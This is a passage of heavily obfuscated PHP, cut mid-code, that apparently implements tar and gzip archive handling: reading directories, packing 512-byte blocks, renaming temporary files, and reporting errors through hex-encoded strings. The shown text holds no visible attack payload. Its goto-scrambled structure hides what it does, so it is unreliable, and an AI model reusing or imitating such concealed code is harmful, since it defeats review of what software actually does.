PP0md; Posn4: iZKxp: goto AoF5l; v4gQX: l4hVu: goto BMS8e; QUm3V: $this->pLdk_(); goto rKdHm; dXua1: if (!(isset($fQHdO) && is_array($fQHdO))) { goto JKZcE; } goto ZOAeE; sPfXR: Hd3EB: goto WxNtz; SIP8m: goto cId5p; goto t06rl; Gj38s: $this->jRr_K = fopen($this->Rkrmc, "\162\x2b\142"); goto gexxQ; dHTRk: return $kSmbA; goto vO_5I; DROBs: MjTb5: goto oaKBf; QLdba: tQdVP: goto E_XcT; p43F8: dUl0l: goto MEUAh; QuVsz: iwhju: goto vHYUs; gexxQ: goto HUjm8; goto skjDS; vHYUs: goto uOvxG; goto LfPla; jrBhc: goto C3ycf; goto uQuOD; nh3aH: xFM6c: goto uc9aN; x8jN3: TRFua: goto xwzQI; DMg5B: Y111o: goto VI2P_; aK76o: gzclose($Ndwbi); goto A7hLL; VI2P_: goto wsRPU; goto FF9xG; r3ilZ: aHr2O: goto yLkpu; dRDPg: goto SsRYz; goto O4YP2; hmiSE: goto GdHrS; goto qVQT2; JOyUi: PxTk1: goto o8wbx; p2HNi: qqByh: goto grcGe; oktqi: Rb20E: goto wkRc2; O3nOd: Oy9Uu: goto YEVci; gaRHT: unlink($this->Rkrmc . "\x2e\164\155\160"); goto kLwua; Lpbka: mh3pq: goto jrBhc; oYelb: NrPq6: goto ka2E9; CDyBg: j1UpY: goto Vhqya; AtANN: cKhdM: goto e6ddr; skjDS: rXRQ3: goto vPgCK; GuItj: VU1CF: goto mvFBY; qeMnE: return false; goto JWwUg; uAE2o: gGDzI: goto HQjdq; KTEhu: C0CTg: goto ASiei; vuJIK: goto ecmvE; goto DROBs; DUhwY: IeTFp: goto iuUPg; McUfW: $this->PlDk_(); goto Y654Q; qVQT2: uH13p: goto agEnB; b0mKf: ZNz8l: goto r3ilZ; Qgp_3: uOvxG: goto e1tND; BpP7x: $this->p6jLS[] = JNGIj("\x4e\157\x20\146\151\154\x65") . jNgij("\x20\164\x6f\40") . jNgIj("\x41\162\143\x68\x69\166\145"); goto hqBAU; WxNtz: goto CADnc; goto Z6dCm; zy5Ey: D26r1: goto qeMnE; fgE1R: goto cPja2; goto keooa; zYSIs: return false; goto gX4U_; rKdHm: goto oYayz; goto QLdba; pBkZO: return $this->MSK0E(); goto xSNDV; IOTxJ: goto SYTPH; goto GmKBp; trIEv: cPja2: goto h2SjK; mN6FY: NlvrG: goto do2mU; oDG_3: N2L2m: goto Pi7lH; SPwTE: goto iwhju; goto om1om; InJnA: H3f2g: goto bNNhg; ZOAeE: goto cKhdM; goto MlHmI; Wl63a: s28Ft: goto KTEhu; dkPOz: if (count($fQHdO) > 0) { goto MjTb5; } goto vuJIK; v4zbF: yTdgZ: goto F_15f; uc9aN: return false; goto iEOna; t06rl: C5vAW: goto SBvn1; sm2Vj: $cOwWF = false; goto SuOaD; A7hLL: goto Emw8O; goto Ub4bY; xSNDV: goto BP1u8; goto x1jTS; tr__z: s077E: goto Di1Zn; PyGgZ: goto Yt56d; goto p2HNi; DZuNz: $o8HkJ = gzread($Ndwbi, 512); goto h37ai; Ub4bY: Ev7fW: goto v_8ks; KmQbS: goto EWsTO; goto YxpGB; KDGHv: MYdTm: goto DZuNz; o8wbx: goto Rb20E; goto BdRBr; Z6dCm: GdHrS: goto BpP7x; Or1by: goto tQdVP; goto uAE2o; AjRYH: EWsTO: goto Hz3oN; sjvrS: C3ycf: goto Kwh62; pBZUt: CADnc: goto pvJX3; x1jTS: IUwfz: goto O3nOd; hqBAU: goto KkvyZ; goto RQ_uH; VMnM3: WejS1: goto Ivw2o; xBp1p: return false; goto PyGgZ; x2OnX: goto A5i98; goto b0mKf; e1tND: if (!$this->KUpB2) { goto s077E; } goto PNPs0; WJqao: rename($this->Rkrmc . "\x2e\164\x6d\160", $this->Rkrmc); goto IOTxJ; iqVFo: goto CLniP; goto sPfXR; HQjdq: if (!$cOwWF) { goto YeBr0; } goto qmG_s; Kf4_E: $kSmbA = false; goto fQKt6; xwzQI: $kSmbA = $this->Bxirg($fQHdO); goto sPEzy; Di1Zn: goto uiFGK; goto p43F8; IOoBv: goto MYdTm; goto VEyvT; oaKBf: goto TRFua; goto NjkGn; xo2dl: mDtGp: goto z4Xp_; H7SMi: goto PLDfv; goto cQFe0; zAhX4: WIQe6: goto L55nm; MBuJM: Mw8qy: goto yBuO7; pHSvD: goto KGK_j; goto SqZLL; h2SjK: if ($kSmbA && is_resource($this->jRr_K)) { goto vYz2f; } goto yDZf9; J_QjC: zoNeT: goto YJbPA; F_15f: goto YBDo5; goto UetXu; DIJBB: goto IeTFp; goto xo2dl; FDujj: goto eNYh2; goto gllkr; MlHmI: JKZcE: goto hmiSE; rc5dy: oYayz: goto is5JN; rHxY_: jdzvA: goto wnBgs; y2EqP: goto rXRQ3; goto rc5dy; Ivw2o: if (!(file_exists($this->Rkrmc) && is_file($this->Rkrmc))) { goto PxTk1; } goto OfHNG; QucoK: cId5p: goto JjdJl; OfHNG: goto Y111o; goto JOyUi; SuOaD: goto s28Ft; goto nn8us; iuUPg: $m122z = pack("\141\65\x31\x32", ''); goto qNEc8; Mzrvw: il2Fz: goto dkPOz; ZWD1q: goto Ev7fW; goto MBuJM; pUQMm: goto dxNl_; goto GuItj; DlsQa: if ($cOwWF && !$kSmbA) { goto PQHoz; } goto lI7xt; pvJX3: $this->p6jLS[] = $this->Rkrmc . "\56\x74\x6d\160\x20" . jngiJ("\x69\163\x20\156\157\164\40\162\x65\141\x64\x61\x62\x6c\145"); goto tLgkH; Mdc48: $Ndwbi = gzopen($this->Rkrmc . "\56\x74\x6d\160", "\162\142"); goto VXQ4N; rf0fr: rename($this->Rkrmc . "\56\164\155\160", $this->Rkrmc); goto s0F5Z; hFEXX: YeBr0: goto ZWD1q; Z721k: FABKi: goto rf0fr; ASiei: goto gGDzI; goto nRcIU; DGC3G: LC0R7: goto sjvrS; iEOna: goto NrPq6; goto zy5Ey; YAwmM: AIP14: goto TQb_1; hX23l: oiSTH: goto pBkZO; vS20t: StOXy: goto AtANN; q1HPj: goto LC0R7; goto Mzrvw; DyEUw: Kmwl5: goto zYSIs; agEnB: if (!$this->mSK0E()) { goto NlvrG; } goto uXaUF; E026C: u1bWN: goto DlsQa; nRcIU: FzVcE: goto DMg5B; L3D73: $this->L0cxb($m122z); goto JcpI7; grcGe: vSBT2: goto FDujj; liKGF: if (!$Ndwbi) { goto Hd3EB; } goto iqVFo; LfPla: P0eww: goto liKGF; Skv5w: tR0Cp: goto McUfW; YEVci: goto uH13p; goto QucoK; tLgkH: goto jBUyM; goto dDDsn; FF9xG: YBDo5: goto l8Gnq; qmG_s: goto Oy9Uu; goto hFEXX; ka2E9: F22Jc: goto y2EqP; RQ_uH: mfJOH: goto Typau; Y654Q: goto Mw8qy; goto Z721k; JjdJl: $o8HkJ = gzread($Ndwbi, 512); goto G09Id; keooa: eNYh2: goto Mdc48; PP0md: SgStz: goto yFxlT; TQb_1: goto xFM6c; goto xC1J5; h37ai: goto IAsxh; goto UQnOz; UQnOz: uiFGK: goto Gj38s; is5JN: unlink($this->Rkrmc); goto H7SMi; MEUAh: dxNl_: goto IOoBv; EvMjp: PQHoz: goto x2OnX; Hz3oN: $this->p6jLS[] = JnGij("\103\141\x6e\156\157\164\x20\x72\x65\156\x61\155\x65") . "\x20" . $this->Rkrmc . JnGIj("\x20\164\157\40") . $this->Rkrmc . "\x2e\164\x6d\x70"; goto Q4KaZ; bZ7I3: bGCDm: goto Kf4_E; YxpGB: a4X_y: goto L3D73; xC1J5: PLDfv: goto CDyBg; VEyvT: SYTPH: goto xBp1p; yBuO7: if (!rename($this->Rkrmc, $this->Rkrmc . "\x2e\x74\155\160")) { goto F964E; } goto msFPz; mJLxP: goto F22Jc; goto YAwmM; uXaUF: goto ZgHAq; goto mN6FY; NjkGn: yhRpd: goto dXua1; teOA3: goto C5vAW; goto aaqYM; mvFBY: goto FABKi; goto Wl63a; Kwh62: goto yhRpd; goto oktqi; g_SgT: if (!gzeof($Ndwbi)) { goto FlNLJ; } goto pHSvD; lI7xt: goto j1UpY; goto EvMjp; BuPaX: $this->L0CXb($m122z); goto SIP8m; GSXZ6: xzjDt: goto lGbcN; C4Oq2: vYz2f: goto DIJBB; L55nm: goto zoNeT; goto Lpbka; yDZf9: goto WIQe6; goto C4Oq2; pjY3i: IAsxh: goto g_SgT; No07c: BP1u8: goto QuVsz; PNPs0: goto aHr2O; goto tr__z; Q4KaZ: goto Kmwl5; goto trIEv; Pi7lH: KGK_j: goto vh9G0; aaqYM: A_uS7: goto zAhX4; v_8ks: if (g1bwN($this->Rkrmc) == 0) { goto EfxXN; } goto SPwTE; aNPk1: goto oiSTH; goto GSXZ6; msFPz: goto vSBT2; goto naU7c; EB6Jb: goto W8amY; goto No_UX; BMS8e: ecmvE: goto HO3bN; gllkr: A5i98: goto QUm3V; z4Xp_: Wawi1: goto OQ5ON; cQFe0: jBUyM: goto WJqao; VXQ4N: goto P0eww; goto DUhwY; s0F5Z: goto D26r1; goto RU21u; fQKt6: goto WejS1; goto No07c; e6ddr: goto il2Fz; goto AjRYH; yLkpu: goto tR0Cp; goto bZ7I3; RU21u: Yt56d: goto t7YqU; qNEc8: goto a4X_y; goto VMnM3; lGbcN: } function Wbyw5($VLMCB) { goto u52e1; JjMQw: if ($qWYRS == "\x5c\63\67\134\x32\x31\x33") { goto YXAHh; } goto bWHdg; uYc9b: goto jYobR; goto qSIWA; N_sGU: CDeaL: goto T33NP; LLpvj: goto CF8xL; goto sEik7; q457E: goto CsKfC; goto Tl9Z0; virW4: if (!$this->KUpB2) { goto sZmWS; } goto k1rou; UGOS5: ZRIgY: goto KjNRf; f3zeF: if ($wlRVP = fopen($yd4LY, "\162\142")) { goto CDeaL; } goto kcl2f; vnJ73: Essst: goto Vz3so; sEik7: gjBH0: goto Q7QH0; xDT1c: $this->pldk_(); goto jrrGa; uPd3j: z8jeG: goto XsdsR; VAlmQ: goto IiHcn; goto uPd3j; xDfP2: $this->jRr_K = gzopen($yd4LY, "\x72\x62"); goto Fr0W3; ls4G5: CF8xL: goto avfaq; e9i7T: goto Ep8wL; goto teu2Q; T33NP: goto TsAVu; goto BrgZk; jtn8F: IiHcn: goto xDT1c; NGR9l: sZmWS: goto WdpxD; Uv0CB: return $kSmbA; goto e9i7T; HjTdV: CsKfC: goto IslIV; mUzC7: $this->jRr_K = fopen($yd4LY, "\x72\142"); goto TocFK; hzvxA: $this->KUpB2 = true; goto VMSTa; shjtq: ZDdX9: goto vp7Fc; OmHoA: KYrH0: goto UxUVv; o5hCR: NOc2T: goto M_TDr; BTCpM: goto gjBH0; goto WclBz; aAQ92: NDd4j: goto uhN57; Fr0W3: goto ZYL3r; goto shjtq; hsQ2B: return false; goto BTCpM; b0tkD: goto jYobR; goto Q8Ojj; wE30o: WiWvQ: goto w4wwq; VMSTa: goto hvj0T; goto jPddd; l7EwL: w2e_w: goto wE30o; YHML2: Ep8wL: goto i9X7R; Q8Ojj: goto ZDdX9; goto Fyx55; k1rou: goto rlD9G; goto NGR9l; e8Mj1: KyQbb: goto xDfP2; k9s_g: goto XodYV; goto jtn8F; uhN57: goto w2e_w; goto yqw1F; u52e1: goto DQoEj; goto ls4G5; JSWNQ: goto AXFdk; goto o5hCR; kcl2f: goto WiWvQ; goto N_sGU; dokKg: goto HwLGU; goto OL0CQ; Prnfo: ijtn2: goto b0tkD; WdpxD: goto NvaLm; goto HjTdV; NOIp6: $kSmbA = true; goto RWBDj; N7FtM: JgIBB: goto Q5Mqr; XqOUw: dg3Dl: goto f3zeF; TocFK: goto ZRIgY; goto wifWM; BrgZk: XvnnD: goto JjMQw; fJnbs: goto Essst; goto al8ut; tsZJC: hvj0T: goto xfFya; awDQ5: $qWYRS = fread($wlRVP, 2); goto m4SsL; Vz3so: goto HfNkg; goto zSOKt; Fyx55: Zt0kE: goto hsQ2B; KjNRf: goto KYrH0; goto GMBrn; jPddd: gEwIw: goto vnJ73; w4wwq: goto gZ7e8; goto mvcFv; mqjAe: goto dg3Dl; goto wwoqU; pXpU_: $this->p6jLS[] = $yd4LY . "\40" . jngij("\151\163\x20\156\x6f\164\x20\x72\x65\141\x64\x61\x62\154\x65"); goto ky2CV; lOlSV: qyRAJ: goto aAQ92; n6nvH: HfNkg: goto hzvxA; tB9xn: ZYL3r: goto OmHoA; wifWM: Kq81q: goto pXpU_; Q7QH0: E0Q6t: goto nPZWk; yqw1F: NvaLm: goto XeZeQ; Qq3zw: goto qyRAJ; goto XqOUw; ky2CV: goto Zt0kE; goto l7EwL; xfFya: jYobR: goto q457E; IslIV: rlD9G: goto k9s_g; vp7Fc: HwLGU: goto mqjAe; M_TDr: $kSmbA = $this->Q7C5Y($VLMCB); goto VAlmQ; OL0CQ: qlgbu: goto GFd72; m4SsL: goto fas98; goto UGOS5; gaDWE: if (!$this->jRr_K) { goto eM1NY; } goto m5gtB; zSOKt: ZKdbM: goto AZk7A; FdaN3: goto XvnnD; goto eyz9f; RWBDj: goto JgIBB; goto Prnfo; UxUVv: goto hQkdB; goto YHML2; J7Uxb: fclose($wlRVP); goto FdaN3; XsdsR: if (!(substr($yd4LY, -2) == "\x67\x7a" or substr($yd4LY, -3) == "\x74\x67\x7a")) { goto eeV5E; } goto fJnbs; avfaq: $this->KUpB2 = true; goto Qq3zw; Oq5i2: cOFOT: goto JSWNQ; UnRXx: goto KyQbb; goto f7vJo; rmFlA: $yd4LY = $this->Rkrmc; goto zCPL5; WclBz: TsAVu: goto awDQ5; qSIWA: goto gEwIw; goto tB9xn; zCPL5: goto ejSxL; goto n6nvH; Tl9Z0: DQoEj: goto rmFlA; bWHdg: goto NDd4j; goto Wq1WJ; nPZWk: goto NOc2T; goto tsZJC; aqH2T: goto ph_Lr; goto Oq5i2; m5gtB: goto E0Q6t; goto YU02u; Q5Mqr: if (!$this->KUpB2) { goto cOFOT; } goto aqH2T; Wq1WJ: YXAHh: goto LLpvj; wwoqU: AXFdk: goto mUzC7; eyz9f: XodYV: goto NOIp6; obJf6: ejSxL: goto virW4; GFd72: goto z8jeG; goto e8Mj1; kzEIp: goto ijtn2; goto lOlSV; BKrA4: fas98: goto J7Uxb; YU02u: eM1NY: goto j7ZmS; jrrGa: goto urBcn; goto N7FtM; XeZeQ: if (!file_exists($yd4LY)) { goto qlgbu; } goto dokKg; j7ZmS: goto Kq81q; goto BKrA4; GMBrn: goto ZKdbM; goto obJf6; f7vJo: hQkdB: goto gaDWE; AZk7A: ph_Lr: goto UnRXx; teu2Q: gZ7e8: goto uYc9b; mvcFv: urBcn: goto Uv0CB; al8ut: eeV5E: goto kzEIp; i9X7R: } function sikrq($rnHIy = '') { goto tkhsr; eLgYA: hwE0X: goto Pi4CN; gK_78: h46kr: goto lXXS4; ueZ1X: goto nOnjO; goto cgozc; rmcNn: c46Uy: goto AYigy; Xk0q8: goto QNw6F; goto jKJWn; MFObW: return ''; goto uiBM0; c0Aht: goto CmJhV; goto jR_ut; YmTt5: goto AGvQ3; goto QC0vc; jR_ut: RxyCE: goto kdjbm; zB7TQ: goto AEFc5; goto ju_Z1; gByMx: CmJhV: goto zB7TQ; RrKpu: AGvQ3: goto K9JBL; HFiyT: goto phQ3A; goto Y_BZ_; Q4kUG: R70_w: goto rmcNn; XRflY: $rnHIy = JNGiJ("\105\x72\162\x6f\x72\40\157\x63\143\x75\162\x72\145\x64") . $rnHIy . "\72\40\74\142\162\x2f\x3e"; goto Xk0q8; YPr59: $rnHIy = "\x20\50" . $rnHIy . "\x29"; goto ueZ1X; UqmSC: j__Bm: goto TQkM5; uiBM0: goto qG_qH; goto KZjg2; AYigy: goto diVoc; goto RrKpu; lXXS4: if (!(count($CMn82) > 0)) { goto cbSMl; } goto Vfusa; cgozc: diVoc: goto MDb1R; TQkM5: $CMn82 = $this->p6jLS; goto Ss8o7; T99Is: wDDhd: goto YmTt5; tkhsr: goto j__Bm; goto vfroH; eiGM1: Ei6wk: goto HFiyT; Krc2u: cbSMl: goto N8N5H; Ss8o7: goto h46kr; goto Q4kUG; MDb1R: return $rnHIy; goto D5mvi; jKJWn: CMa8c: goto T99Is; m3ECu: AEFc5: goto XRflY; C9dge: goto UH7g6; goto u17z5; XnTPB: goto wDDhd; goto C9dge; kdjbm: goto UgKBa; goto dBDN6; dBDN6: cWEUe: goto MFObW; KZjg2: UgKBa: goto YPr59; wAItI: if (!empty($rnHIy)) { goto RxyCE; } goto c0Aht; N8N5H: goto cWEUe; goto m3ECu; ju_Z1: QNw6F: goto oF43Q; Y_BZ_: phQ3A: goto wAItI; u17z5: UH7g6: goto eiGM1; Pi4CN: goto R70_w; goto gK_78; vfroH: nOnjO: goto gByMx; oF43Q: foreach ($CMn82 as $Iuqro) { goto JJOqO; oMDs8: o2e5Y: goto BfUU3; JJOqO: $rnHIy .= $Iuqro . "\74\x62\162\57\x3e"; goto oMDs8; BfUU3: Rn9jp: goto hBHzS; hBHzS: } goto eLgYA; Vfusa: goto Ei6wk; goto Krc2u; D5mvi: goto CMa8c; goto UqmSC; QC0vc: qG_qH: goto XnTPB; K9JBL: } function bxirg($D5pej) { goto yY0MQ; aavcZ: IK0Wo: goto Kg1xp; WlUEJ: H3G5T: goto L93fj; yTJS2: LqnD1: goto D0U35; TnZSO: cxPmH: goto LK2Wn; GPsEu: unset($wiK9i); goto WQdt5; S4xyz: goto f821b; goto u6mOx; ChJ2p: GLCnG: goto ZK7hw; wCOqA: LQRVJ: goto gr_eG; WnSpv: goto rJmrb; goto aavcZ; vOtFn: goto CUI84; goto ryQWd; x8zKk: tfGBO: goto En3lJ; acC3d: goto TUvQ_; goto T3euf; mOFMG: JzJgN: goto lTccR; RLaDT: jGAgK: goto fakS3; un5ZK: if (!($g6Xdn != "\x2e")) { goto oPS3V; } goto VihZw; r7enw: GfPGI: goto xhB4X; dBaw2: if (!is_file($g6Xdn)) { goto y43pc; } goto BK3wo; WQdt5: goto G83ur; goto LNf7F; ENNB6: if (!($wiK9i = opendir($g6Xdn))) { goto LCblP; } goto ZwEUc; jqGm4: goto b9L5W; goto Ud1Yy; lksEg: goto EMYiq; goto FwdbF; I82UZ: Uh0Bz: goto hiZGD; ubSgr: goto ekPDn; goto stE46; PZdQo: rJmrb: goto MXXDt; Eo3js: goto jzrQg; goto Y5Hry; u6mOx: mfmMz: goto pzlNB; hfbnu: B29SI: goto iJFEO; nG_W5: goto o3eIr; goto SB0qX; lTccR: goto X0TAw; goto yKWAg; uXk7k: JkSrB: goto xNTqM; OWE7U: yk30K: goto kPpQ3; xhB4X: goto fxUxi; goto OLKFX; En3lJ: goto gD_Kd; goto pAoW0; rthJv: goto IK0Wo; goto YcM7T; LDjAE: goto kmbIe; goto zXkks; cOcCJ: goto Iqnnq; goto yTJS2; gr_eG: $this->p6jLS[] = JnGiJ("\x45\162\162\x6f\162") . "\x3a\x20" . jNgIj("\104\151\x72\x65\x63\164\157\x72\x79\x20") . $g6Xdn . JngIJ("\x69\x73\x20\156\157\164\40\x72\145\141\x64\141\x62\154\x65"); goto c3c9l; YcM7T: YK7nj: goto un5ZK; lusPT: njNeU: goto RAVSn; kIqLs: KdzTI: goto yAqys; ChVK0: goto eZNcu; goto z9son; ryQWd: SC19I: goto XT_gU; b9_Vs: return $kSmbA; goto nrVx7; skcn5: return false; goto bKixl; lPC_r: return false; goto jqGm4; RAVSn: goto uQ6h1; goto wCOqA; I3rid: iQUdG: goto WlUEJ; Bb6sB: goto R7VkW; goto kDuzX; Sakcb: goto gM9hN; goto NcWfC; KqMKh: V111P: goto QqScu; gg5eS: VrL0v: goto d0vsE; Pns1f: F8N1Y: goto Bb6sB; d0vsE: AmG2x: goto nG_W5; xeHFS: jzrQg: goto bGUhV; s4CoL: XD5At: goto mxUYy; x7JvO: goto TYeEy; goto C_6S4; kSOfp: goto kjH7C; goto isUK_; Ipr_W: goto iQUdG; goto s4CoL; wQH6k: $this->l0Cxb($m122z); goto Ai1eQ; bxc2o: goto jGAgK; goto v2xvS; WMhM4: goto AHgxz; goto wPtRZ; My27R: Fbfv1: goto QOF56; ax_TI: U0mVb: goto bxc2o; i0gmA: goto lX3PU; goto ZT0O3; lgpyu: XeAKw: goto CqGHc; L0L5n: if (false !== ($zS4x_ = readdir($wiK9i))) { goto iBYVH; } goto xYUUg; Lzr33: llCsP: goto AWle3; cJt2o: MeGut: goto tqi_9; cegNA: TUvQ_: goto yXT4q; Kj2t_: yAd3s: goto Yu3yK; IpFsT: if (!is_array($D5pej) || count($D5pej) <= 0) { goto yAd3s; } goto fveFb; Nbigl: o3eIr: goto B0LA8; MMKpm: ozj1P: goto BGyRY; EnM_U: goto wNc20; goto PZdQo; cOErO: Ua1bl: goto LAll4; CqGHc: $pTb54 = 0; goto WMhM4; AD2tH: goto xEHHg; goto yjwZW; hZHHo: qtl1w: goto GPsEu; c3c9l: goto KRyCO; goto tsxUQ; S80Tn: goto WdEcH; goto p73uS; yKWAg: goto Fbfv1; goto Pnp2o; xNTqM: goto PPf_P; goto Xs77A; Yu3yK: goto cDG3V; goto My27R; wPtRZ: kjH7C: goto QjLox; B0LA8: if (@is_dir($g6Xdn)) { goto TnFfS; } goto ckgZh; PPBqQ: goto S0JxQ; goto L02n4; w2JGT: goto pis2y; goto Nbigl; ORnEO: goto QqDM3; goto r7enw; kDuzX: PYHcr: goto wuIln; VFluw: goto ElA5s; goto KqMKh; HHyaR: if ($pTb54 < count($D5pej)) { goto crr7H; } goto GFJfX; yn2TS: $kSmbA = $this->BxiRG($USx8j); goto rthJv; tsxUQ: Sem65: goto yaKFT; GcRFE: daB4S: goto IOWdz; nJtq0: goto iz5Vr; goto PgEbM; yjwZW: xf7py: goto ChJ2p; KXC9E: CSlP3: goto L0L5n; QqOaI: ARVlu: goto lBfSm; lBfSm: goto AmG2x; goto LHpDP; XjZQi: goto Nmk4C; goto fqy3p; n5m0W: $m122z = pack("\x61\65\x31\62", $o8HkJ); goto VFluw; oSuio: goto uVwBk; goto wmvRN; rOQSa: if (strlen($g6Xdn) <= 0) { goto USe7s; } goto C1Rcf; C3X_w: crr7H: goto kSOfp; H3TqQ: s0ht4: goto njreT; QqScu: unset($USx8j); goto U2Sv7; sdrQf: q4f6x: goto noQdi; FddkW: $C1Ko_ = $this->zHDwr($g6Xdn); goto PPBqQ; dxeNc: goto M6_2k; goto k1TLJ; l4y9d: goto VrL0v; goto pTZy_; rVn7R: goto PYHcr; goto JWJeN; qmxde: D2F6x: goto aJYZc; sKbLb: goto KdzTI; goto mOFMG; ZK7hw: goto K709C; goto xNr9E; GFJfX: goto Uh0Bz; goto C3X_w; YodLc: Iqnnq: goto acC3d; eRFhD: if (!file_exists($g6Xdn)) { goto cxPmH; } goto rYQw9; iemOc: DRenG: goto bMgyV; wC2YB: return true; goto V0G8H; LAll4: $this->p6jLS[] = JNgij("\x49\x6e\x76\141\x6c\x69\144\x20\x66\151\x6c\x65\x20\x64\145\163\143\162\151\x70\164\157\162"); goto lksEg; z9son: uQ6h1: goto YodLc; njreT: $kSmbA = true; goto JwuOZ; SB0qX: xSD4P: goto ASVd0; QjLox: $g6Xdn = $D5pej[$pTb54]; goto EK8Gv; gvGP1: $pTb54++; goto qxGaW; WlljR: oDhZe: goto IpFsT; QyfQ8: yc4Li: goto skcn5; K5jlT: f821b: goto lusPT; YyvKL: ma9Ib: goto VwCBX; wzAZB: y43pc: goto A6HNO; wuwhJ: goto oDhZe; goto zfU35; yzu9v: wNc20: goto lPC_r; nFCrg: goto njNeU; goto cJt2o; lCGbb: kXD3t: goto x8zKk; LHpDP: goto daB4S; goto i24ai; bq4fX: goto WyPPD; goto mOXjZ; Pnp2o: R7VkW: goto qAcBi; fqy3p: goto qUrsF; goto jlSoR; Ai1eQ: goto qSCgU; goto fIJ_F; xNr9E: qSCgU: goto hkSBN; nrVx7: goto FGVT_; goto EcjtH; pzlNB: if ($g6Xdn == $this->Rkrmc) { goto GfPGI; } goto ORnEO; BxFTt: return false; goto w2JGT; wmvRN: x1Bwi: goto z_9xp; qmfg3: goto D2F6x; goto LDjAE; S1S_c: fxUxi: goto CWAar; s8UXN: goto XeAKw; goto QyfQ8; oqdyI: VxRsV: goto s8UXN; VwCBX: goto UervW; goto IpdE_; aJYZc: goto CSlP3; goto LZ90W; FhYan: goto JoU2Z; goto Sakcb; V0G8H: goto xmVlz; goto K5jlT; qpyJw: goto Fln7g; goto kIqLs; XT_gU: if ($this->QdGuP == 0) { goto LqnD1; } goto cOcCJ; kPpQ3: $USx8j[] = $zS4x_; goto bq4fX; tqi_9: goto Sem65; goto bOToW; mOXjZ: gD_Kd: goto YNGKR; Kg1xp: XBZyZ: goto D0sYQ; IpdE_: Ly5wD: goto FIcNH; v2xvS: eZNcu: goto HHyaR; pAoW0: PPf_P: goto n5m0W; Hd3nc: goto Ly5wD; goto xeHFS; wuIln: JoU2Z: goto x7JvO; IOWdz: jvW81: goto Ywbpn; TStR8: goto LQRVJ; goto k8m2Q; FIcNH: if (($o8HkJ = fread($jTEOW, 512)) != '') { goto JkSrB; } goto eSfqw; HXQwZ: IRZDe: goto wuwhJ; QOF56: uzhMO: goto GstnR; Xlcs9: goto X0TAw; goto MCiDM; JWJeN: WyPPD: goto FhYan; k8m2Q: K709C: goto qmxde; rYQw9: goto H3G5T; goto TnZSO; EcjtH: G83ur: goto ax_TI; SSnZO: $USx8j[] = $g6Xdn . "\57" . $zS4x_; goto rVn7R; Xs77A: iDbI0: goto eRFhD; yaKFT: return false; goto S4xyz; MXXDt: fclose($jTEOW); goto l4y9d; BK3wo: goto jvW81; goto wzAZB; yLgWf: vrAQ3: goto qpyJw; jlSoR: pis2y: goto HXQwZ; T3euf: FcVUs: goto ENNB6; bKixl: goto kXD3t; goto OjBld; mxUYy: if (!$this->jRr_K) { goto B29SI; } goto yxQu9; pDkWZ: S0JxQ: goto dBaw2; D0sYQ: goto YHBjA; goto I3rid; cnkoB: goto yk30K; goto qNwYo; sgVO3: $this->p6jLS[] = JnGIJ("\116\157\40\146\x69\154\145") . "\x20" . $g6Xdn; goto nJtq0; fBTRZ: goto yc4Li; goto sdrQf; bMgyV: $g6Xdn = str_replace("\134", "\57", $g6Xdn); goto S80Tn; RhpHI: uVwBk: goto rOQSa; OLKFX: AWKpo: goto XjZQi; bGUhV: QqDM3: goto oSuio; z_9xp: $this->TbnEs($g6Xdn, $C1Ko_); goto rwkul; fIJ_F: UervW: goto zAqMP; iJFEO: goto Ua1bl; goto GfdiY; ckgZh: goto U0mVb; goto Yzioc; jGKHu: goto TD40P; goto KXC9E; FwdbF: b9L5W: goto tmdP1; CWAar: goto X0TAw; goto Eo3js; s00DQ: $this->p6jLS[] = jNGIJ("\115\x6f\x64\x65\x20") . jngIj("\x69\x73\x20\151\x6e\143\x6f\162\162\145\143\164"); goto vOtFn; qNwYo: KRyCO: goto Xlcs9; L93fj: goto llCsP; goto Lzr33; mGu7m: LCblP: goto TStR8; PMmDe: goto YK7nj; goto cOErO; JwuOZ: goto XD5At; goto iemOc; p7cRa: iBYVH: goto dxeNc; PgEbM: AHgxz: goto f0yCY; Ywbpn: goto xSD4P; goto RhpHI; LZ90W: ElA5s: goto wQH6k; zIeig: goto qtl1w; goto OWE7U; NHXVH: goto XBZyZ; goto YyvKL; dlPgV: goto DRenG; goto WlljR; p73uS: cDG3V: goto wC2YB; BGyRY: goto V111P; goto H3TqQ; OjBld: FGVT_: goto MkW2z; fakS3: X0TAw: goto jGKHu; C_6S4: kmbIe: goto MMKpm; zfU35: JuJlE: goto sgVO3; EK8Gv: goto mfmMz; goto GcRFE; LK2Wn: goto JuJlE; goto MlxeY; MCiDM: goto xf7py; goto gg5eS; blgn1: goto X0TAw; goto Ipr_W; gn1_1: goto JzJgN; goto RLaDT; ASVd0: if (($jTEOW = fopen($g6Xdn, "\162\x62")) == 0) { goto acsPt; } goto ubSgr; ZwEUc: goto GLCnG; goto mGu7m; i24ai: M6_2k: goto C_b_h; U2Sv7: goto q4f6x; goto pDkWZ; pTZy_: xmVlz: goto oqdyI; VihZw: goto vrAQ3; goto LjALo; ZT0O3: zzIRd: goto Yqq6O; rwkul: goto ARVlu; goto hZHHo; C1Rcf: goto uzhMO; goto mjK0z; qAcBi: $this->p6jLS[] = jNGij("\111\156\x76\141\x6c\x69\144\40\146\151\x6c\145\40\x64\x65\x73\x63\162\151\x70\164\x6f\162"); goto fBTRZ; GfdiY: YHBjA: goto qmfg3; sQDPM: Fln7g: goto SSnZO; GstnR: goto iDbI0; goto lgpyu; hkSBN: goto PREXp; goto sKbLb; k6Qbx: goto FcVUs; goto QqOaI; dEClX: $this->p6jLS[] = jNgij("\106\151\x6c\145\x6e\141\x6d\x65") . "\x20" . JNgij("\151\x73\x20\151\156\x63\157\162\x72\145\x63\x74"); goto EnM_U; SJpxN: if (!$this->tbnES($g6Xdn, $C1Ko_)) { goto MeGut; } goto nFCrg; YHb4K: ekPDn: goto Kv1Yw; tmdP1: lX3PU: goto dlPgV; D0U35: goto GbjzC; goto O4uD_; C_b_h: if ($zS4x_ != "\56" && $zS4x_ != "\x2e\x2e") { goto ma9Ib; } goto NHXVH; LZdiJ: TD40P: goto gvGP1; k1TLJ: pckqD: goto b9_Vs; YNGKR: if (strlen($g6Xdn) <= 0) { goto zzIRd; } goto i0gmA; yxQu9: goto IRZDe; goto hfbnu; L02n4: qUrsF: goto I82UZ; noQdi: unset($zS4x_); goto zIeig; yY0MQ: goto s0ht4; goto LZdiJ; NcWfC: GbjzC: goto SJpxN; Kv1Yw: goto SC19I; goto lCGbb; AWle3: if (!$this->jRr_K) { goto F8N1Y; } goto e0DJw; xYUUg: goto ozj1P; goto p7cRa; O4uD_: TYeEy: goto yn2TS; eSfqw: goto MJmHc; 